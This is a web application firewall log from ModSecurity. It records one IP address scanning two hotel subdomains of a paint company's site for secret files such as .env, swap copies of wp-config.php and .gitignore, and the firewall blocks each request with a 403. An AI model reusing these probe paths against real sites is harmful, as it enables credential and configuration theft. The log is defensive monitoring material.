[Sun Oct 25 04:06:23.166056 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.gitignore"] [unique_id "at24f4HtOs-nfC4GshpRtwAAABc"]
[Sun Oct 25 04:06:23.318153 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/.gitlab/issue_templates"] [unique_id "at24f568N771hz7W4KlsUQAAAAw"]
[Sun Oct 25 04:06:23.318191 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/.gitlab/issue_templates"] [unique_id "at24f568N771hz7W4KlsUQAAAAw"]
[Sun Oct 25 04:06:24.132004 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/ADMIN/.env"] [unique_id "at24gJ68N771hz7W4KlsVgAAAAw"]
[Sun Oct 25 04:06:24.132120 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/ADMIN/.env"] [unique_id "at24gJ68N771hz7W4KlsVgAAAAw"]
[Sun Oct 25 04:06:24.132420 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/ADMIN/.env"] [unique_id "at24gJ68N771hz7W4KlsVgAAAAw"]
[Sun Oct 25 04:06:24.147442 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /.wp-config.php.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.wp-config.php.swp"] [unique_id "at24gNxXWZMI2DaSlsHxQgAAABY"]
[Sun Oct 25 04:06:24.147582 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.wp-config.php.swp"] [unique_id "at24gNxXWZMI2DaSlsHxQgAAABY"]
[Sun Oct 25 04:06:24.147827 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.wp-config.php.swp"] [unique_id "at24gNxXWZMI2DaSlsHxQgAAABY"]
[Sun Oct 25 04:06:24.150586 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/ADMIN/.env"] [unique_id "at24gIHtOs-nfC4GshpRvQAAABc"]
[Sun Oct 25 04:06:24.150702 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/ADMIN/.env"] [unique_id "at24gIHtOs-nfC4GshpRvQAAABc"]
[Sun Oct 25 04:06:24.150927 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/ADMIN/.env"] [unique_id "at24gIHtOs-nfC4GshpRvQAAABc"]
[Sun Oct 25 04:06:24.156086 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /.wp-config.php.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.wp-config.php.swp"] [unique_id "at24fy7GhhaIo05efijDLQAAAAc"]
[Sun Oct 25 04:06:24.156229 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.wp-config.php.swp"] [unique_id "at24fy7GhhaIo05efijDLQAAAAc"]
[Sun Oct 25 04:06:24.156468 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.wp-config.php.swp"] [unique_id "at24fy7GhhaIo05efijDLQAAAAc"]
[Sun Oct 25 04:06:24.234050 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/API/.env"] [unique_id "at24gLQKh4dfs72fmHxwCAAAAAE"]
[Sun Oct 25 04:06:24.242238 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/API/.env"] [unique_id "at24gLQKh4dfs72fmHxwCAAAAAE"]
[Sun Oct 25 04:06:24.242464 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/API/.env"] [unique_id "at24gLQKh4dfs72fmHxwCAAAAAE"]
[Sun Oct 25 04:06:24.237159 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/API/.env"] [unique_id "at24gALaiqtlZaJBsx4X3wAAAA0"]
[Sun Oct 25 04:06:24.285680 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/API/.env"] [unique_id "at24gALaiqtlZaJBsx4X3wAAAA0"]
[Sun Oct 25 04:06:24.285913 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/API/.env"] [unique_id "at24gALaiqtlZaJBsx4X3wAAAA0"]
[Sun Oct 25 04:06:24.356379 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/APP/.env"] [unique_id "at24gC7GhhaIo05efijDLwAAAAc"]
[Sun Oct 25 04:06:24.356516 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/APP/.env"] [unique_id "at24gC7GhhaIo05efijDLwAAAAc"]
[Sun Oct 25 04:06:24.356794 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/APP/.env"] [unique_id "at24gC7GhhaIo05efijDLwAAAAc"]
[Sun Oct 25 04:06:24.436126 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/Api/.env"] [unique_id "at24gKrU4NwppjTEGaL6ngAAAAY"]
[Sun Oct 25 04:06:24.436328 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/Api/.env"] [unique_id "at24gKrU4NwppjTEGaL6ngAAAAY"]
[Sun Oct 25 04:06:24.436660 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/Api/.env"] [unique_id "at24gKrU4NwppjTEGaL6ngAAAAY"]
[Sun Oct 25 04:06:24.437660 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/APP/.env"] [unique_id "at24gIHtOs-nfC4GshpRwAAAABc"]
[Sun Oct 25 04:06:24.437834 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/APP/.env"] [unique_id "at24gIHtOs-nfC4GshpRwAAAABc"]
[Sun Oct 25 04:06:24.438195 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/APP/.env"] [unique_id "at24gIHtOs-nfC4GshpRwAAAABc"]
[Sun Oct 25 04:06:24.450670 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/BACKEND/.env"] [unique_id "at24gLQKh4dfs72fmHxwCgAAAAE"]
[Sun Oct 25 04:06:24.543797 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/BACKEND/.env"] [unique_id "at24gLQKh4dfs72fmHxwCgAAAAE"]
[Sun Oct 25 04:06:24.540412 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/BACK/.env"] [unique_id "at24gJ68N771hz7W4KlsWQAAAAw"]
[Sun Oct 25 04:06:24.545806 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/BACK/.env"] [unique_id "at24gJ68N771hz7W4KlsWQAAAAw"]
[Sun Oct 25 04:06:24.546032 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/BACK/.env"] [unique_id "at24gJ68N771hz7W4KlsWQAAAAw"]
[Sun Oct 25 04:06:24.529266 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/Api/.env"] [unique_id "at24gNxXWZMI2DaSlsHxRQAAABY"]
[Sun Oct 25 04:06:24.546453 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/Api/.env"] [unique_id "at24gNxXWZMI2DaSlsHxRQAAABY"]
[Sun Oct 25 04:06:24.546692 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/Api/.env"] [unique_id "at24gNxXWZMI2DaSlsHxRQAAABY"]
[Sun Oct 25 04:06:24.518220 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/BACK/.env"] [unique_id "at24gFTnwNJm6o1fQZIixQAAAAI"]
[Sun Oct 25 04:06:24.560261 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/BACK/.env"] [unique_id "at24gFTnwNJm6o1fQZIixQAAAAI"]
